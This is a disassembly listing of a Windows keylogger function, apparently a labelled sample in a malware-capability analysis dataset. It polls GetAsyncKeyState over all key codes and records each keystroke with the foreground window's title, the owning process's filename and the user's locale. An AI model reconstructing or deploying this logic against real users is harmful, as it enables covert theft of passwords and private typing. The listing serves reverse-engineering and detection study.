Function at 0x140005570
Capabilities:
Get graphical window text
Get process image filename
Log keystrokes via polling

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0xae8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa60], 0xfffffffffffffffe
mov qword [rbp + 0x130], rcx
mov qword [rbp + 0x7e0], rcx
call fcn.140006890
xor eax, eax
mov dx, ax
lea rcx, [rbp + 0x160]
mov qword [rbp + 0x138], rcx
mov r8d, 0x55
call fcn.1400028d0
mov rcx, qword [rbp + 0x138]
call fcn.140002540
mov qword [rbp + 0x140], rax
jmp 0x1400055d8
mov rcx, qword [rbp + 0x140]
mov edx, 0x55
call sub.KERNEL32.dll_GetUserDefaultLocaleName
jmp 0x1400055eb
mov qword [rbp + 0x178], 0
lea rcx, [rbp + 0x160]
call fcn.140002900
mov qword [rbp + 0x120], rdx
mov qword [rbp + 0x128], rax
jmp 0x140005612
mov rdx, qword [rbp + 0x120]
mov rcx, qword [rbp + 0x128]
call fcn.140002d30
mov qword [rbp + 0x110], rdx
mov qword [rbp + 0x118], rax
jmp 0x140005635
mov r8, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x118]
lea rcx, [rbp + 0x180]
call fcn.140004f60
jmp 0x140005651
lea rax, [rbp + 0x178]
mov qword [rbp + 0x198], rax
mov rdx, qword [rbp + 0x198]
lea rcx, [rbp + 0x180]
call fcn.1400041a0
jmp 0x140005674
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0x1a0], 0
mov qword [rbp + 0x1a8], rax
mov rdx, qword [rbp + 0x1a0]
mov r8, qword [rbp + 0x1a8]
lea r9, [0x140034a88]
lea rcx, [rbp + 0x160]
call fcn.140002960
mov qword [rbp + 0x100], rdx
mov qword [rbp + 0x108], rax
jmp 0x1400056be
mov r8, qword [rbp + 0x100]
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0xa50], rdx
mov qword [rbp + 0xa58], r8
lea rcx, [rbp + 0x148]
call fcn.140003150
jmp 0x1400056e8
lea rcx, [rbp + 0x160]
call fcn.140002b70
lea rcx, [rbp + 0x148]
mov qword [rbp + 0x9d0], rcx
lea rax, [0x1400033a0]
mov qword [rbp + 0x9d8], rax
mov qword [rbp + 0x9c0], rcx
mov qword [rbp + 0x9c8], rax
mov rcx, qword [rbp + 0x9c0]
mov rax, qword [rbp + 0x9c8]
mov qword [rbp + 0x218], rcx
mov qword [rbp + 0x220], rax
mov rax, rsp
mov qword [rax + 0x20], 1
lea rdx, str.Locale:__n
lea rcx, [rbp + 0x1e8]
mov r8d, 2
lea r9, [rbp + 0x218]
call fcn.140001e70
jmp 0x140005767
lea rcx, [rbp + 0x1d0]
lea rdx, [rbp + 0x1e8]
call fcn.140001100
jmp 0x14000577c
mov rcx, qword [rbp + 0x130]
mov rax, qword [rbp + 0x1e0]
mov qword [rbp + 0x1c0], rax
movups xmm0, xmmword [rbp + 0x1d0]
movaps xmmword [rbp + 0x1b0], xmm0
lea rdx, [rbp + 0x1b0]
call fcn.140006c20
jmp 0x1400057ad
lea rdx, str._nKeylogs:_n
lea rcx, [rbp + 0x228]
mov r8d, 0xa
call fcn.1400030f0
jmp 0x1400057c8
mov rcx, qword [rbp + 0x130]
lea rdx, [rbp + 0x228]
call fcn.140006c20
jmp 0x1400057dd
jmp 0x1400057df
mov ecx, 0xa
call fcn.140001a70
mov dword [rbp + 0xf4], edx
mov qword [rbp + 0xf8], rax
jmp 0x1400057f8
mov edx, dword [rbp + 0xf4]
mov rcx, qword [rbp + 0xf8]
call fcn.14001a4c0
jmp 0x14000580c
call sub.USER32.dll_GetForegroundWindow
mov qword [rbp + 0xe8], rax
jmp 0x14000581a
mov rcx, qword [rbp + 0xe8]
mov qword [rbp + 0x7e8], rcx
mov dword [rbp + 0x244], 0
lea rdx, [rbp + 0x244]
call sub.USER32.dll_GetWindowThreadProcessId
jmp 0x140005840
mov r8d, dword [rbp + 0x244]
mov dword [rbp + 0x7f4], r8d
mov ecx, 0x1000
xor edx, edx
call sub.KERNEL32.dll_OpenProcess
mov qword [rbp + 0xe0], rax
jmp 0x140005863
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0x7f8], rax
xor eax, eax
mov dx, ax
lea rcx, [rbp + 0x260]
mov r8d, 0x100
call fcn.1400028d0
jmp 0x14000588a
lea rcx, [rbp + 0x260]
call fcn.140002540
mov qword [rbp + 0xd8], rax
jmp 0x14000589f
mov rdx, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0xe0]
mov r8d, 0x100
call sub.PSAPI.DLL_GetProcessImageFileNameW
jmp 0x1400058ba
mov qword [rbp + 0x278], 0
lea rcx, [rbp + 0x260]
call fcn.140002900
mov qword [rbp + 0xc8], rdx
mov qword [rbp + 0xd0], rax
jmp 0x1400058e1
mov rdx, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0xd0]
call fcn.140002d30
mov qword [rbp + 0xb8], rdx
mov qword [rbp + 0xc0], rax
jmp 0x140005904
mov r8, qword [rbp + 0xb8]
mov rdx, qword [rbp + 0xc0]
lea rcx, [rbp + 0x280]
call fcn.140004f60
jmp 0x140005920
lea rax, [rbp + 0x278]
mov qword [rbp + 0x298], rax
mov rdx, qword [rbp + 0x298]
lea rcx, [rbp + 0x280]
call fcn.140004200
jmp 0x140005943
mov rax, qword [rbp + 0x278]
mov qword [rbp + 0x2a0], 0
mov qword [rbp + 0x2a8], rax
mov rdx, qword [rbp + 0x2a0]
mov r8, qword [rbp + 0x2a8]
lea r9, [0x140034ae0]
lea rcx, [rbp + 0x260]
call fcn.140002960
mov qword [rbp + 0xa8], rdx
mov qword [rbp + 0xb0], rax
jmp 0x14000598d
mov r8, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0xb0]
mov qword [rbp + 0xa40], rdx
mov qword [rbp + 0xa48], r8
lea rcx, [rbp + 0x248]
call fcn.140003150
jmp 0x1400059b7
lea rcx, [rbp + 0x260]
call fcn.140002b70
jmp 0x1400059c5
mov rcx, qword [rbp + 0xe8]
call sub.USER32.dll_GetWindowTextLengthW
mov dword [rbp + 0xa4], eax
jmp 0x1400059d9
mov eax, dword [rbp + 0xa4]
inc eax
mov dword [rbp + 0xa0], eax
seto al
test al, 1
jne 0x140005a15
mov eax, dword [rbp + 0xa0]
mov dword [rbp + 0x804], eax
lea rdx, [0x140034b2c]
lea rcx, [rbp + 0x2d0]
mov r8d, 0xc
call fcn.140003480
jmp 0x140005a31
lea rcx, str.attempt_to_add_with_overflow__NO_TITLE__J
lea r8, [0x140034af8]
mov edx, 0x1c
call fcn.1400339a0
jmp 0x140005a2f
ud2
mov eax, dword [rbp + 0xa0]
cmp eax, 0
jg 0x140005a69
mov rax, qword [rbp + 0x2e0]
mov qword [rbp + 0x2c0], rax
movaps xmm0, xmmword [rbp + 0x2d0]
movaps xmmword [rbp + 0x2b0], xmm0
lea rcx, [rbp + 0x31c]
call fcn.140010230
jmp 0x140005b91
mov eax, dword [rbp + 0xa0]
movsxd r8, eax
xor eax, eax
mov dx, ax
lea rcx, [rbp + 0x2e8]
call fcn.1400028d0
jmp 0x140005a85
lea rcx, [rbp + 0x2e8]
call fcn.140002540
mov qword [rbp + 0x98], rax
jmp 0x140005a9a
mov r8d, dword [rbp + 0xa0]
mov rdx, qword [rbp + 0x98]
mov rcx, qword [rbp + 0xe8]
call sub.USER32.dll_GetWindowTextW
jmp 0x140005ab6
lea rcx, [rbp + 0x2e8]
call fcn.140002750
mov qword [rbp + 0x90], rax
jmp 0x140005acb
mov rax, qword [rbp + 0x90]
mov rcx, rax
sub rcx, 1
mov qword [rbp + 0x88], rcx
cmp rax, 1
setb al
test al, 1
jne 0x140005b07
mov rdx, qword [rbp + 0x88]
lea r8, [0x140034b78]
lea rcx, [rbp + 0x2e8]
call fcn.140002760
jmp 0x140005b24
lea rcx, [0x140034b50]
lea r8, [0x140034b38]
mov edx, 0x21
call fcn.1400339a0
jmp 0x140005a2f
lea rcx, [rbp + 0x2e8]
call fcn.140002a30
mov qword [rbp + 0x78], rdx
mov qword [rbp + 0x80], rax
jmp 0x140005b3d
mov r8, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
lea rcx, [rbp + 0x300]
call fcn.140003150
jmp 0x140005b56
lea rcx, [rbp + 0x2d0]
call fcn.14000a2c0
jmp 0x140005b64
mov rax, qword [rbp + 0x310]
mov qword [rbp + 0x2e0], rax
movups xmm0, xmmword [rbp + 0x300]
movaps xmmword [rbp + 0x2d0], xmm0
lea rcx, [rbp + 0x2e8]
call fcn.140002b70
jmp 0x140005a3c
mov dword [rbp + 0x328], 0
mov dword [rbp + 0x32c], 0xff
mov ecx, dword [rbp + 0x328]
mov edx, dword [rbp + 0x32c]
call fcn.140001350
mov dword [rbp + 0x70], edx
mov dword [rbp + 0x74], eax
jmp 0x140005bbe
mov eax, dword [rbp + 0x70]
mov ecx, dword [rbp + 0x74]
mov dword [rbp + 0x330], ecx
mov dword [rbp + 0x334], eax
lea rcx, [rbp + 0x330]
call fcn.140001330
mov dword [rbp + 0x68], edx
mov dword [rbp + 0x6c], eax
jmp 0x140005be4
mov eax, dword [rbp + 0x68]
mov ecx, dword [rbp + 0x6c]
mov dword [rbp + 0x338], ecx
mov dword [rbp + 0x33c], eax
mov eax, dword [rbp + 0x338]
cmp rax, 0
jne 0x140005c10
lea rcx, [rbp + 0x2b0]
call fcn.14000a2c0
jmp 0x140005c2a
mov ecx, dword [rbp + 0x33c]
mov dword [rbp + 0x60], ecx
mov dword [rbp + 0x808], ecx
call sub.USER32.dll_GetAsyncKeyState
mov word [rbp + 0x66], ax
jmp 0x140005c3b
lea rcx, [rbp + 0x248]
call fcn.14000a2c0
jmp 0x1400057df
mov ax, word [rbp + 0x66]
mov word [rbp + 0x80e], ax
and ax, 1
cmp ax, 0
jle 0x140005bd0
lea rcx, [rbp + 0x31c]
call fcn.140004d50
mov dword [rbp + 0x5c], eax
jmp 0x140005c61
mov eax, dword [rbp + 0x5c]
mov dword [rbp + 0x40c], eax
lea rcx, [rbp + 0x40c]
mov qword [rbp + 0xa30], rcx
lea rax, [0x140031720]
mov qword [rbp + 0xa38], rax
mov qword [rbp + 0xa20], rcx
mov qword [rbp + 0xa28], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0xa28]
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0x31c]
call fcn.140004d80
mov dword [rbp + 0x58], eax
jmp 0x140005cbb
mov eax, dword [rbp + 0x58]
mov dword [rbp + 0x410], eax
lea rcx, [rbp + 0x410]
mov qword [rbp + 0xa10], rcx
lea rax, [0x140031720]
mov qword [rbp + 0xa18], rax
mov qword [rbp + 0xa00], rcx
mov qword [rbp + 0xa08], rax
mov rax, qword [rbp + 0xa00]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0xa08]
mov qword [rbp + 0x38], rax
lea rcx, [rbp + 0x31c]
call fcn.140004db0
mov dword [rbp + 0x44], eax
jmp 0x140005d15
mov eax, dword [rbp + 0x44]
mov dword [rbp + 0x414], eax
lea rcx, [rbp + 0x414]
mov qword [rbp + 0x9f0], rcx
lea rax, [0x140031720]
mov qword [rbp + 0x9f8], rax
mov qword [rbp + 0x9e0], rcx
mov qword [rbp + 0x9e8], rax
mov rax, qword [rbp + 0x9e0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x9e8]
mov qword [rbp + 0x18], rax
lea rcx, [rbp + 0x248]
call fcn.140003420
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], rax
jmp 0x140005d74
mov rdx, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x28]
call fcn.140003680
mov qword [rbp], rdx
mov qword [rbp + 8], rax
jmp 0x140005d8b
mov rax, qword [rbp]
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x418], rcx
mov qword [rbp + 0x420], rax
lea rcx, [rbp + 0x418]
mov qword [rbp + 0x990], rcx
lea rax, [0x14000f3a0]
mov qword [rbp + 0x998], rax
mov qword [rbp + 0x980], rcx
mov qword [rbp + 0x988], rax
mov rax, qword [rbp + 0x980]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp + 0x988]
mov qword [rbp - 0x18], rax
lea rcx, [rbp + 0x2b0]
call fcn.140003420
mov qword [rbp - 0x10], rdx
mov qword [rbp - 8], rax
jmp 0x140005df7
mov rdx, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
call fcn.140003680
mov qword [rbp - 0x30], rdx
mov qword [rbp - 0x28], rax
jmp 0x140005e0e
mov eax, dword [rbp + 0x60]
mov rcx, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x28]
mov qword [rbp + 0x428], rdx
mov qword [rbp + 0x430], rcx
lea rdx, [rbp + 0x428]
mov qword [rbp + 0x970], rdx
lea rcx, [0x14000f3a0]
mov qword [rbp + 0x978], rcx
mov qword [rbp + 0x960], rdx
mov qword [rbp + 0x968], rcx
mov rcx, qword [rbp + 0x960]
mov qword [rbp - 0x40], rcx
mov rcx, qword [rbp + 0x968]
mov qword [rbp - 0x38], rcx
mov dl, al
lea rcx, [rbp + 0x438]
call fcn.140006f50
jmp 0x140005e77
mov rdx, qword [rbp - 0x38]
mov r8, qword [rbp - 0x40]
mov r9, qword [rbp - 0x18]
mov r10, qword [rbp - 0x20]
mov r11, qword [rbp + 0x18]
mov rsi, qword [rbp + 0x10]
mov rdi, qword [rbp + 0x38]
mov rbx, qword [rbp + 0x30]
mov r14, qword [rbp + 0x50]
mov r15, qword [rbp + 0x48]
lea rcx, [rbp + 0x438]
mov qword [rbp + 0x9b0], rcx
lea rax, [0x1400033a0]
mov qword [rbp + 0x9b8], rax
mov qword [rbp + 0x9a0], rcx
mov qword [rbp + 0x9a8], rax
mov rcx, qword [rbp + 0x9a0]
mov rax, qword [rbp + 0x9a8]
mov qword [rbp + 0x3a8], r15
mov qword [rbp + 0x3b0], r14
mov qword [rbp + 0x3b8], rbx
mov qword [rbp + 0x3c0], rdi
mov qword [rbp + 0x3c8], rsi
mov qword [rbp + 0x3d0], r11
mov qword [rbp + 0x3d8], r10
mov qword [rbp + 0x3e0], r9
mov qword [rbp + 0x3e8], r8
mov qword [rbp + 0x3f0], rdx
mov qword [rbp + 0x3f8], rcx
mov qword [rbp + 0x400], rax
mov byte [rbp + 0x5df], 3
mov qword [rbp + 0x5e0], 2
mov qword [rbp + 0x5f8], 2
mov qword [rbp + 0x5f0], 0
mov r9b, byte [rbp + 0x5df]
mov r8, qword [rbp + 0x5e0]
mov rdx, qword [rbp + 0x5e8]
mov rcx, qword [rbp + 0x5f0]
mov rax, qword [rbp + 0x5f8]
mov qword [rbp + 0x928], 0
mov dword [rbp + 0x934], 0x20
mov byte [rbp + 0x93b], r9b
mov dword [rbp + 0x93c], 8
mov qword [rbp + 0x940], r8
mov qword [rbp + 0x948], rdx
mov qword [rbp + 0x950], rcx
mov qword [rbp + 0x958], rax
mov qword [rbp + 0x5c0], 0
mov dword [rbp + 0x5c8], 0x20
mov byte [rbp + 0x5d0], r9b
mov dword [rbp + 0x5cc], 8
mov qword [rbp + 0x5a0], r8
mov qword [rbp + 0x5a8], rdx
mov qword [rbp + 0x5b0], rcx
mov qword [rbp + 0x5b8], rax
mov byte [rbp + 0x63f], 3
mov qword [rbp + 0x640], 2
mov qword [rbp + 0x658], 2
mov qword [rbp + 0x650], 0
mov r9b, byte [rbp + 0x63f]
mov r8, qword [rbp + 0x640]
mov rdx, qword [rbp + 0x648]
mov rcx, qword [rbp + 0x650]
mov rax, qword [rbp + 0x658]
mov qword [rbp + 0x8f0], 1
mov dword [rbp + 0x8fc], 0x20
mov byte [rbp + 0x903], r9b
mov dword [rbp + 0x904], 8
mov qword [rbp + 0x908], r8
mov qword [rbp + 0x910], rdx
mov qword [rbp + 0x918], rcx
mov qword [rbp + 0x920], rax
mov qword [rbp + 0x620], 1
mov dword [rbp + 0x628], 0x20
mov byte [rbp + 0x630], r9b
mov dword [rbp + 0x62c], 8
mov qword [rbp + 0x600], r8
mov qword [rbp + 0x608], rdx
mov qword [rbp + 0x610], rcx
mov qword [rbp + 0x618], rax
mov byte [rbp + 0x69f], 3
mov qword [rbp + 0x6a0], 2
mov qword [rbp + 0x6b8], 2
mov qword [rbp + 0x6b0], 0
mov r9b, byte [rbp + 0x69f]
mov r8, qword [rbp + 0x6a0]
mov rdx, qword [rbp + 0x6a8]
mov rcx, qword [rbp + 0x6b0]
mov rax, qword [rbp + 0x6b8]
mov qword [rbp + 0x8b8], 2
mov dword [rbp + 0x8c4], 0x20
mov byte [rbp + 0x8cb], r9b
mov dword [rbp + 0x8cc], 8
mov qword [rbp + 0x8d0], r8
mov qword [rbp + 0x8d8], rdx
mov qword [rbp + 0x8e0], rcx
mov qword [rbp + 0x8e8], rax
mov qword [rbp + 0x680], 2
mov dword [rbp + 0x688], 0x20
mov byte [rbp + 0x690], r9b
mov dword [rbp + 0x68c], 8
mov qword [rbp + 0x660], r8
mov qword [rbp + 0x668], rdx
mov qword [rbp + 0x670], rcx
mov qword [rbp + 0x678], rax
mov byte [rbp + 0x6ff], 3
mov qword [rbp + 0x700], 2
mov qword [rbp + 0x710], 2
mov r9b, byte [rbp + 0x6ff]
mov r8, qword [rbp + 0x700]
mov rdx, qword [rbp + 0x708]
mov rcx, qword [rbp + 0x710]
mov rax, qword [rbp + 0x718]
mov qword [rbp + 0x880], 3
mov dword [rbp + 0x88c], 0x20
mov byte [rbp + 0x893], r9b
mov dword [rbp + 0x894], 0
mov qword [rbp + 0x898], r8
mov qword [rbp + 0x8a0], rdx
mov qword [rbp + 0x8a8], rcx
mov qword [rbp + 0x8b0], rax
mov qword [rbp + 0x6e0], 3
mov dword [rbp + 0x6e8], 0x20
mov byte [rbp + 0x6f0], r9b
mov dword [rbp + 0x6ec], 0
mov qword [rbp + 0x6c0], r8
mov qword [rbp + 0x6c8], rdx
mov qword [rbp + 0x6d0], rcx
mov qword [rbp + 0x6d8], rax
mov byte [rbp + 0x75f], 3
mov qword [rbp + 0x760], 2
mov qword [rbp + 0x770], 2
mov r9b, byte [rbp + 0x75f]
mov r8, qword [rbp + 0x760]
mov rdx, qword [rbp + 0x768]
mov rcx, qword [rbp + 0x770]
mov rax, qword [rbp + 0x778]
mov qword [rbp + 0x848], 4
mov dword [rbp + 0x854], 0x20
mov byte [rbp + 0x85b], r9b
mov dword [rbp + 0x85c], 0
mov qword [rbp + 0x860], r8
mov qword [rbp + 0x868], rdx
mov qword [rbp + 0x870], rcx
mov qword [rbp + 0x878], rax
mov qword [rbp + 0x740], 4
mov dword [rbp + 0x748], 0x20
mov byte [rbp + 0x750], r9b
mov dword [rbp + 0x74c], 0
mov qword [rbp + 0x720], r8
mov qword [rbp + 0x728], rdx
mov qword [rbp + 0x730], rcx
mov qword [rbp + 0x738], rax
mov byte [rbp + 0x7bf], 3
mov qword [rbp + 0x7c0], 2
mov qword [rbp + 0x7d0], 2
mov r9b, byte [rbp + 0x7bf]
mov r8, qword [rbp + 0x7c0]
mov rdx, qword [rbp + 0x7c8]
mov rcx, qword [rbp + 0x7d0]
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x810], 5
mov dword [rbp + 0x81c], 0x20
mov byte [rbp + 0x823], r9b
mov dword [rbp + 0x824], 0
mov qword [rbp + 0x828], r8
mov qword [rbp + 0x830], rdx
mov qword [rbp + 0x838], rcx
mov qword [rbp + 0x840], rax
mov qword [rbp + 0x7a0], 5
mov dword [rbp + 0x7a8], 0x20
mov byte [rbp + 0x7b0], r9b
mov dword [rbp + 0x7ac], 0
mov qword [rbp + 0x780], r8
mov qword [rbp + 0x788], rdx
mov qword [rbp + 0x790], rcx
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x5d0]
mov qword [rbp + 0x480], rax
movups xmm0, xmmword [rbp + 0x5a0]
movups xmm1, xmmword [rbp + 0x5b0]
movups xmm2, xmmword [rbp + 0x5c0]
movaps xmmword [rbp + 0x470], xmm2
movaps xmmword [rbp + 0x460], xmm1
movaps xmmword [rbp + 0x450], xmm0
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x4b8], rax
movups xmm0, xmmword [rbp + 0x600]
movups xmm1, xmmword [rbp + 0x610]
movups xmm2, xmmword [rbp + 0x620]
movups xmmword [rbp + 0x4a8], xmm2
movups xmmword [rbp + 0x498], xmm1
movups xmmword [rbp + 0x488], xmm0
mov rax, qword [rbp + 0x690]
mov qword [rbp + 0x4f0], rax
movups xmm0, xmmword [rbp + 0x660]
movups xmm1, xmmword [rbp + 0x670]
movups xmm2, xmmword [rbp + 0x680]
movups xmmword [rbp + 0x4e0], xmm2
movups xmmword [rbp + 0x4d0], xmm1
movups xmmword [rbp + 0x4c0], xmm0
mov rax, qword [rbp + 0x6f0]
mov qword [rbp + 0x528], rax
movups xmm0, xmmword [rbp + 0x6c0]
movups xmm1, xmmword [rbp + 0x6d0]
movups xmm2, xmmword [rbp + 0x6e0]
movups xmmword [rbp + 0x518], xmm2
movups xmmword [rbp + 0x508], xmm1
movups xmmword [rbp + 0x4f8], xmm0
mov rax, qword [rbp + 0x750]
mov qword [rbp + 0x560], rax
movups xmm0, xmmword [rbp + 0x720]
movups xmm1, xmmword [rbp + 0x730]
movups xmm2, xmmword [rbp + 0x740]
movups xmmword [rbp + 0x550], xmm2
movups xmmword [rbp + 0x540], xmm1
movups xmmword [rbp + 0x530], xmm0
mov rax, qword [rbp + 0x7b0]
mov qword [rbp + 0x598], rax
movups xmm0, xmmword [rbp + 0x780]
movups xmm1, xmmword [rbp + 0x790]
movups xmm2, xmmword [rbp + 0x7a0]
movups xmmword [rbp + 0x588], xmm2
movups xmmword [rbp + 0x578], xmm1
movups xmmword [rbp + 0x568], xmm0
mov rax, rsp
lea rcx, [rbp + 0x450]
mov qword [rax + 0x28], rcx
mov qword [rax + 0x30], 6
mov qword [rax + 0x20], 6
lea rdx, str._:____n
lea rcx, [rbp + 0x378]
mov r8d, 7
lea r9, [rbp + 0x3a8]
call fcn.140001df0
jmp 0x140006574
lea rcx, [rbp + 0x360]
lea rdx, [rbp + 0x378]
call fcn.140001100
jmp 0x140006589
lea rcx, [rbp + 0x438]
call fcn.14000a2c0
jmp 0x140006597
mov rcx, qword [rbp + 0x130]
mov rax, qword [rbp + 0x370]
mov qword [rbp + 0x350], rax
movups xmm0, xmmword [rbp + 0x360]
movaps xmmword [rbp + 0x340], xmm0
lea rdx, [rbp + 0x340]
call fcn.140006c20
jmp 0x1400065c8
jmp 0x140005bd0